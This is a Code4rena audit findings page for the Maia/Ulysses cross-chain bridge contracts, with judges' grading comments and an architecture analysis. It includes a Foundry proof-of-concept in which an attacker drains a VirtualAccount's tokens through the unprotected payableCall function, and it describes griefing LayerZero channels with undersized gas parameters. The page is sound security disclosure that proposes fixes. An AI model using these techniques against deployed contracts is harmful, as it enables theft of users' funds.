Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 19/175
Findings: 5
Award: $455.94
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
All tokens held within a virtual Account can be drained by anyone.
Virtual Account are account which allows both user and approved routers to access tokens.
but due to missing access control on virtualAccount.payableCall
allows anyone to execute arbitrary call on behalf of the contract.
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {//@audit missing access control uint256 valAccumulator; uint256 length = calls.length; returnData = new bytes[](length); PayableCall calldata _call; for (uint256 i = 0; i < length;) { _call = calls[i]; uint256 val = _call.value; // Humanity will be a Type V Kardashev Civilization before this overflows - andreas // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 unchecked { valAccumulator += val; } bool success; if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);//@audit arbitrary call to any target if (!success) revert CallFailed(); unchecked { ++i; } } // Finally, make sure the msg.value = SUM(call[0...i].value) if (msg.value != valAccumulator) revert CallFailed();//@audit can be pass zero call.val to bypass. }
As you can see anyone drain any ERC721/ERC20 token held within virtual Accounts using the utility payable function. POC
function testAnyoneCanDrainVirtualAccount() public { address bob = address(42); //mint bob some token underlyingToken.mint(bob, 1 ether); address attacker = address(1337); virtualAccount = new VirtualAccount(bob, address(0)); PayableCall memory payCall; PayableCall[] memory payCall_ = new PayableCall[](1); assertEq(virtualAccount.userAddress(), bob); //bob transfers tokens to his virtual account vm.prank(bob); underlyingToken.transfer(address(virtualAccount), 1 ether); assertEq(underlyingToken.balanceOf(attacker), 0); //Attacker can use payableCall to drain the token vm.startPrank(attacker); payCall.target = address(underlyingToken); payCall.callData = abi.encodeWithSignature("transfer(address,uint256)", attacker, 1 ether); payCall.value = uint256(0); payCall_[0] = payCall; virtualAccount.payableCall(payCall_); vm.stopPrank(); assertEq(underlyingToken.balanceOf(attacker), 1 ether); }
Manuel Review
Add requiresApprovedCaller
to VirtualAccount.PayableCall
Access Control
#0 - c4-pre-sort
2023-10-08T14:29:29Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:57:11Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:31:04Z
alcueca marked the issue as satisfactory
🌟 Selected for report: LokiThe5th
Also found by: 0xadrii, 33BYTEZZZ, 3docSec, Bauchibred, DevABDee, Koolex, Kow, Limbooo, QiuhaoLi, Tendency, ast3ros, ihtishamsudo, kodyvim, lsaudit, neumo, peakbolt, windhustler
40.0102 USDC - $40.01
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L280 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L235
Lack of input validation and the ability to specify whatever adapterParams you want would result to blocking the pathway between any two chains. The consequence of this is that anyone with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
When sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params.
The invocations of _performCall
inside the agents contracts assumes that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want.
function callOutAndBridge( address payable _refundee, bytes calldata _params, DepositInput memory _dParams, GasParams calldata _gParams ) external payable override lock {//@audit users can provide small amount of gasParam to block channel //Cache Deposit Nonce uint32 _depositNonce = depositNonce; //Encode Data for cross-chain call. bytes memory payload = abi.encodePacked( bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params ); //Create Deposit and Send Cross-Chain request _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit); //Perform Call _performCall(_refundee, payload, _gParams); } /// @inheritdoc IBranchBridgeAgent function callOutAndBridgeMultiple( address payable _refundee, bytes calldata _params, DepositMultipleInput memory _dParams, GasParams calldata _gParams ) external payable override lock { ...SNIP //Create Deposit and Send Cross-Chain request _createDepositMultiple( _depositNonce, _refundee, _dParams.hTokens, _dParams.tokens, _dParams.amounts, _dParams.deposits ); //Perform Call _performCall(_refundee, payload, _gParams); }
At _performCall(_refundee, payload, _gParams)
function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams) internal virtual { //Sends message to LayerZero messaging layer ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}( rootChainId, rootBridgeAgentPath, _payload, payable(_refundee), address(0), abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)//@audit populated with the user provided gas params ); }
The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit} is the gas the sender has paid for. The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive function and the message pathway is blocked, resulting in StoredPayload.
Manual Review
Enforce Minimum gas to send for each and every _performCall
should be enough to cover the worst-case scenario for the transaction to cover the last execution in lzReceive
Other
#0 - c4-pre-sort
2023-10-11T07:25:04Z
0xA5DF marked the issue as duplicate of #785
#1 - c4-pre-sort
2023-10-11T07:25:15Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-22T04:55:09Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-22T05:20:38Z
alcueca marked the issue as satisfactory
#4 - c4-judge
2023-10-22T05:20:43Z
alcueca marked the issue as partial-50
#5 - alcueca
2023-10-22T05:20:55Z
50% for comparative quality to satisfaactory reports
#6 - emmydev9
2023-10-31T23:53:45Z
Thank you for quality judging. I respectfully seek you review this issue on the basis of partial-credit while this issue describe the potential impact and mitigation as well as other satisfactory report I don't understand the basis on "comparative report".
#7 - c4-judge
2023-11-03T17:08:39Z
alcueca marked the issue as satisfactory
#8 - alcueca
2023-11-03T17:08:53Z
You are right, restored the full credit
🌟 Selected for report: kodyvim
Also found by: 0xnev, Kow, QiuhaoLi, SpicyMeatball, ast3ros, ayden, bin2chen, chaduke, jasonxiale, minhtrng, nobody2018
146.8082 USDC - $146.81
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L651
_hasFallbackToggled would be set to false on createMultipleSettlement
regardless of user intentions.
Users can specify if they want a fallback on their transaction which prevents the transaction from revert in case of failure. But due to an incorrect flag this would always be set to false. https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090
function _createSettlementMultiple( uint32 _settlementNonce, address payable _refundee, address _recipient, uint16 _dstChainId, address[] memory _globalAddresses, uint256[] memory _amounts, uint256[] memory _deposits, bytes memory _params, bool _hasFallbackToggled ) internal returns (bytes memory _payload) { ...SNIP // Prepare data for call with settlement of multiple assets _payload = abi.encodePacked( @> _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02), _recipient, uint8(hTokens.length), _settlementNonce, hTokens, tokens, _amounts, _deposits, _params ); ...SNIP }
The variable _hasFallbackToggled
can be set to true or false depending whether the user wants a fallback or not.
if true, the value at the payload index 0 (payload[0]) would be set to bytes1(0x02) & 0x0F
but this would still results to bytes1(0x02)
, otherwise false this would also results to bytes1(0x02)
.
On the destination chain, to check for the fallback status of a transaction.
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L651
function lzReceiveNonBlocking(address _endpoint, bytes calldata _srcAddress, bytes calldata _payload) public override requiresEndpoint(_endpoint, _srcAddress) { ...SNIP // DEPOSIT FLAG: 2 (Multiple Settlement) } else if (flag == 0x02) { // Parse recipient address payable recipient = payable(address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))); // Parse deposit nonce nonce = uint32(bytes4(_payload[22:26])); //Check if tx has already been executed if (executionState[nonce] != STATUS_READY) revert AlreadyExecutedTransaction(); //Try to execute remote request // Flag 2 - BranchBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithSettlementMultiple(recipient, localRouterAddress, _payload) _execute( @> _payload[0] == 0x82, nonce, recipient, abi.encodeWithSelector( BranchBridgeAgentExecutor.executeWithSettlementMultiple.selector, recipient, localRouterAddress, _payload ) ); ...SNIP }
_payload[0] == 0x82
would always be false irrespective of the fallback status chosen by the user.
POC:
A simple test with chisel
➜ function checkToggle(bool hastoggle) public returns(bytes memory _payload) { _payload = abi.encodePacked(hastoggle ? bytes1(0x02) & 0x0F : bytes1(0x02)); } ➜ function test() public returns(bool) { bytes memory payload = checkToggle(true); return payload[0] == 0x82; } ➜ bool check = test() ➜ check Type: bool └ Value: false//<@ should be true ➜ function test2() public returns(bool) { bytes memory payload = checkToggle(false); return payload[0] == 0x82; } ➜ check = test2() Type: bool └ Value: false//<@ always false
This would results to unexpected behaviors and issues with integrations.
Manual Review
change the following line to:
function _createSettlementMultiple( uint32 _settlementNonce, address payable _refundee, address _recipient, uint16 _dstChainId, address[] memory _globalAddresses, uint256[] memory _amounts, uint256[] memory _deposits, bytes memory _params, bool _hasFallbackToggled ) internal returns (bytes memory _payload) { // Check if valid length if (_globalAddresses.length > MAX_TOKENS_LENGTH) revert InvalidInputParamsLength(); // Check if valid length if (_globalAddresses.length != _amounts.length) revert InvalidInputParamsLength(); if (_amounts.length != _deposits.length) revert InvalidInputParamsLength(); //Update Settlement Nonce settlementNonce = _settlementNonce + 1; // Create Arrays address[] memory hTokens = new address[](_globalAddresses.length); address[] memory tokens = new address[](_globalAddresses.length); for (uint256 i = 0; i < hTokens.length;) { // Populate Addresses for Settlement hTokens[i] = IPort(localPortAddress).getLocalTokenFromGlobal(_globalAddresses[i], _dstChainId); tokens[i] = IPort(localPortAddress).getUnderlyingTokenFromLocal(hTokens[i], _dstChainId); // Avoid stack too deep uint16 destChainId = _dstChainId; // Update State to reflect bridgeOut _updateStateOnBridgeOut( msg.sender, _globalAddresses[i], hTokens[i], tokens[i], _amounts[i], _deposits[i], destChainId ); unchecked { ++i; } } // Prepare data for call with settlement of multiple assets _payload = abi.encodePacked( - _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02), + _hasFallbackToggled ? bytes1(0x82) : bytes1(0x02), _recipient, uint8(hTokens.length), _settlementNonce, hTokens, tokens, _amounts, _deposits, _params ); // Create and Save Settlement // Get storage reference Settlement storage settlement = getSettlement[_settlementNonce]; // Update Setttlement settlement.owner = _refundee; settlement.recipient = _recipient; settlement.hTokens = hTokens; settlement.tokens = tokens; settlement.amounts = _amounts; settlement.deposits = _deposits; settlement.dstChainId = _dstChainId; settlement.status = STATUS_SUCCESS; }
Error
#0 - c4-pre-sort
2023-10-08T05:15:38Z
0xA5DF marked the issue as duplicate of #882
#1 - c4-pre-sort
2023-10-08T14:55:55Z
0xA5DF marked the issue as high quality report
#2 - c4-judge
2023-10-25T10:03:07Z
alcueca marked the issue as satisfactory
#3 - c4-judge
2023-10-25T10:05:51Z
alcueca marked the issue as selected for report
#4 - c4-sponsor
2023-10-31T20:35:26Z
0xLightt (sponsor) confirmed
#5 - 0xBugsy
2023-11-12T18:03:55Z
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
block.timestamp
to the nearest dayscheckTimeLimit
checks if a Port Strategy has reached its daily management limit
While lastManaged
is rounded down to the nearest day then substracted from block.timestamp
, block.timestamp
is not rounded down to the nearest day.
This would results in a situation where the daily limit could be reset earlier than expected.
Round block.timestamp
before substraction.
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L487
function _checkTimeLimit(address _token, uint256 _amount) internal { uint256 dailyLimit = strategyDailyLimitRemaining[msg.sender][_token]; @> if (block.timestamp - lastManaged[msg.sender][_token] >= 1 days) {//@audit round block.timestamp to the nearest day as well dailyLimit = strategyDailyLimitAmount[msg.sender][_token]; unchecked { @> lastManaged[msg.sender][_token] = (block.timestamp / 1 days) * 1 days; } } strategyDailyLimitRemaining[msg.sender][_token] = dailyLimit - _amount; }
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L434
function redeemDeposit(uint32 _depositNonce) external override lock { // Get storage reference Deposit storage deposit = getDeposit[_depositNonce]; // Check Deposit if (deposit.status == STATUS_SUCCESS) revert DepositRedeemUnavailable(); if (deposit.owner == address(0)) revert DepositRedeemUnavailable(); if (deposit.owner != msg.sender) revert NotDepositOwner(); // Zero out owner @> deposit.owner = address(0); // Transfer token to depositor / user for (uint256 i = 0; i < deposit.tokens.length;) { _clearToken(msg.sender, deposit.hTokens[i], deposit.tokens[i], deposit.amounts[i], deposit.deposits[i]); unchecked { ++i; } } // Delete Failed Deposit Token Info @> delete getDeposit[_depositNonce]; }
deposit.owner
would be zero-ed out after deletion of the getDeposit mappingrecipient
https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchBridgeAgent.sol#L69
function depositToPort(address underlyingAddress, uint256 amount) external payable lock { IArbPort(localPortAddress).depositToPort(msg.sender, msg.sender, underlyingAddress, amount); }
https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchBridgeAgent.sol#L79
solidity function withdrawFromPort(address localAddress, uint256 amount) external payable lock { IArbPort(localPortAddress).withdrawFromPort(msg.sender, msg.sender, localAddress, amount); }
hardcoding recipient as msg.sender
may not be desirable in most cases for instance the current account might have been blocklisted by the receiving token.
#0 - c4-pre-sort
2023-10-15T12:47:16Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-21T05:34:39Z
alcueca marked the issue as grade-a
🌟 Selected for report: MrPotatoMagic
Also found by: 0xHelium, 0xSmartContract, 0xbrett8571, 0xsagetony, 33BYTEZZZ, Bauchibred, K42, Littlebeast, LokiThe5th, Oxsadeeq, SAAJ, Sathish9098, ZdravkoHr, albertwh1te, alexxander, catellatech, chaduke, hunter_w3b, ihtishamsudo, invitedtea, jauvany, klau5, kodyvim, lsaudit, pavankv, pfapostol, yongskiws
243.335 USDC - $243.33
Ports for Omnichain Architecture: Ports are the foundational components of the protocol's omnichain architecture. They act as liquidity repositories responsible for managing and retaining capital deposited on each different chain where Ulysses operates. https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L17 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L16 Mechanism: Ports serve as vaults with single-asset pools for each omnichain token active on a given chain. When users interact with Ports to deposit or withdraw assets, no protocol fees are charged from user assets. Ports are categorized into Branch Ports for individual chains and a Root Port on the Root Chain for global management.
Virtualized Liquidity: Virtualized liquidity is a core concept of the Ulysses Protocol. It involves connecting Ports within a Pool and Spoke architecture, comprising the Root Chain and multiple Branch Chains. This concept ensures that assets deposited on one chain are recognized as distinct from the same assets on different chains. Mechanism: The protocol maintains token balances and address mappings across different chains to achieve virtualized liquidity. This involves complex bookkeeping to ensure assets are tracked accurately across the ecosystem.
Arbitrary Cross-Chain Execution: Ulysses Protocol enables arbitrary cross-chain execution through a set of expandable routers, such as the Multicall Root Router, which can be permissionlessly deployed through Bridge Agent Factories. These routers facilitate secure asset movement between chains. https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L57 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L32 https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L45 Mechanism: The routers and bridge agents are implemented as smart contracts and are responsible for ensuring the proper movement of assets and data between chains. This involves complex data parsing and cryptographic operations to maintain security during cross-chain transactions.
Virtual Account for dApps in Arbitrum: The Virtual Account simplifies user balance management for dApps operating in the Arbitrum root chain environment. It allows users to access their balances and interact with Arbitrum-based dApps from other chains. https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L17 Mechanism: The Virtual Account is implemented as a smart contract and is integrated with the Ulysses branch chain and Arbitrum. It maintains user balances, allowing them to perform various actions like token swapping, liquidity provision, and yield farming within Arbitrum-based dApps.
Category | Description |
---|---|
Access Controls | Satisfactory. Appropriate access controls were in place for performing privileged operations. |
Arithmetic | Moderate. The contracts uses solidity version ^0.8.0 potentially safe from overflow/underflow but care should be taken on arithmetic when parsing multiple deposit/settlement |
Centralization | satisfactory. Permission-less and Critical functionalities are changed/Modified by On-chain governance. |
Code Complexity | Moderate. Most part of the protocol were easy to understand, it depends on have data parsing on multiple operation |
Contract Upgradeability | Satisfactory. Contracts are not upgradable. |
Documentation | Satisfactory. High-level documentation and some in-line comments describing the functionality of the protocol were available. |
Monitoring | Satisfactory. Events are emitted on performing critical actions. |
Very Neat and Tide codebase!
Cross-Chain Risks: As a multichain protocol, Ulysses operates on multiple blockchain networks. Risks related to interoperability and cross-chain interactions can be a concern. If there are issues with cross-chain communication, asset movement, or protocol compatibility, it can have systemic implications across the supported chains.
Chain-Specific Vulnerabilities: Each blockchain within the Ulysses ecosystem may have its own unique vulnerabilities or issues. A vulnerability on one chain can potentially affect the assets or operations that are bridged to other chains.
Liquidity Fragmentation: Managing liquidity across multiple chains can be challenging. If liquidity becomes fragmented or imbalanced on certain chains, it can impact the efficiency and effectiveness of the protocol as a whole.
Oracles Across Chains: If Ulysses relies on oracles that provide data from various chains, inaccuracies or manipulation of data from any of these oracles can affect the integrity of the entire system.
Chain-Specific Market Risks: Each blockchain may experience different market conditions and price volatility. Market downturns or extreme price movements on one chain can influence the value of assets and the behavior of users on that chain, potentially affecting the entire protocol.
Governance Centralization: critical functionalities are controlled by on-chain governance, if governance mechanism is concentrated in the hands of a small number of individuals or entities, it can lead to decision-making that does not reflect the broader community's interests. centralization of governance can result in protocol changes that benefit a few at the expense of others.
Token Distribution: If a significant portion of tokens is held by a small number of entities, they can exert substantial influence over the protocol's direction and decisions.
Developer Centralization: If a small group of developers or a single development team has a monopoly on protocol development, it can lead to a lack of diversity in ideas and potential conflicts of interest.
105 hours
#0 - c4-pre-sort
2023-10-15T14:21:38Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T10:01:38Z
alcueca marked the issue as grade-a